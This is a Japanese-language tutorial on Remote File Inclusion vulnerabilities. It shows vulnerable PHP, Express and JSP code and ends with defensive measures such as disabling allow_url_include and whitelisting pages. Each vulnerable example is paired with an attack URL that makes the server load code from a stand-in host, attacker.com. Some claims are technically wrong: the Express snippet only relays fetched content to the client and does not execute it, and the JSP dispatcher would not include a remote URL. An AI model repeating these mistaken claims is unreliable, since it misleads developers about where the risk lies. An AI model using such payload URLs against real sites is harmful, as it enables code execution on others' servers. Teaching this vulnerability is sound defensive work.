WebVulnerabilities

リモートファイルインクルード(Remote File Inclusion, RFI)脆弱性について

概要

リモートファイルインクルード(RFI)脆弱性は、Webアプリケーションが外部から指定されたファイルをサーバー上に読み込み、実行する際に発生する脆弱性です。攻撃者は、悪意のあるスクリプトを含む外部ファイルを指定することで、リモートサーバーから任意のコードを実行させることができます。この脆弱性は、特に動的にファイルを読み込む機能を持つWebアプリケーションにおいて見られ、サーバーの完全な乗っ取りやデータの漏洩など、深刻な影響をもたらすことがあります。


脆弱性を持つコードの例と攻撃手法

PHP

脆弱なコード例:

<?php
$page = $_GET['page'];
include($page);
?>

攻撃手法: 攻撃者は、pageパラメータにリモートのURLを指定して、悪意のあるコードを含むファイルを読み込ませます。

http://example.com/vulnerable.php?page=http://attacker.com/malicious_code.php

このURLを実行すると、attacker.comにあるmalicious_code.phpがサーバー上で実行され、攻撃者はリモートでコードを実行できるようになります。

Python

脆弱性のあるコードの例は一般的に存在しない: Pythonの標準的なWebフレームワーク(Flask、Djangoなど)では、リモートファイルのインクルード機能がデフォルトでサポートされていないため、リモートファイルインクルード脆弱性が発生することは一般的にありません。

Node.js(Express)

脆弱なコード例:

const express = require('express');
const app = express();
const http = require('http');

app.get('/load', (req, res) => {
    const file = req.query.file;
    http.get(file, (response) => {
        let data = '';
        response.on('data', (chunk) => {
            data += chunk;
        });
        response.on('end', () => {
            res.send(data);
        });
    });
});

app.listen(3000);

攻撃手法: 攻撃者が次のようなリクエストを送信することで、悪意のあるスクリプトを読み込ませることができます。

http://localhost:3000/load?file=http://attacker.com/malicious.js

このリクエストを実行すると、attacker.comにあるmalicious.jsがサーバーで実行される可能性があります。

Java(JSP)

脆弱なコード例:

<% 
String page = request.getParameter("page");
RequestDispatcher dispatcher = request.getRequestDispatcher(page);
dispatcher.include(request, response);
%>

攻撃手法: 攻撃者が次のようにリクエストを送信すると、リモートファイルを含むことができます。

http://example.com/vulnerable.jsp?page=http://attacker.com/malicious.jsp

これにより、攻撃者はattacker.comにあるmalicious.jspをリモートで実行させることができます。


防止策

  1. 外部からのファイルインクルードを禁止:
    • includerequireRequestDispatcherなどの機能に対して、リモートURLを受け付けないように制限します。

    PHPの例:

    ini_set('allow_url_include', '0');  // リモートファイルのインクルードを無効化
    
  2. 入力のバリデーション:
    • ユーザーからの入力を検証し、外部ファイルへの参照やパスが含まれていないことを確認します。また、ホワイトリスト方式で許可されたファイルのみを読み込むようにします。

    PHPの例:

    $whitelist = ['home.php', 'about.php', 'contact.php'];
    if (in_array($page, $whitelist)) {
        include($page);
    } else {
        echo "Invalid page request.";
    }
    

    Javaの例:

    List<String> allowedPages = Arrays.asList("home.jsp", "about.jsp", "contact.jsp");
    if (allowedPages.contains(page)) {
        RequestDispatcher dispatcher = request.getRequestDispatcher(page);
        dispatcher.include(request, response);
    } else {
        response.getWriter().write("Invalid page request.");
    }
    
  3. リモートファイルの取得制限:
    • アプリケーションでリモートファイルを読み込む必要がない場合、リモートファイルの取得を完全に無効にします。
  4. フレームワークの機能を利用:
    • ファイルのインクルード処理を行う場合、可能な限り安全なフレームワークやライブラリを使用し、自作のインクルード処理を避けることで、リスクを最小限に抑えます。

まとめ: リモートファイルインクルード脆弱性は、サーバー側で任意の外部ファイルを実行できる非常に危険な脆弱性です。入力のバリデーション、リモートファイルのインクルードを無効化する設定、ホワイトリスト方式でのファイル読み込みなどの防止策を適用することで、この脆弱性を防ぐことができます。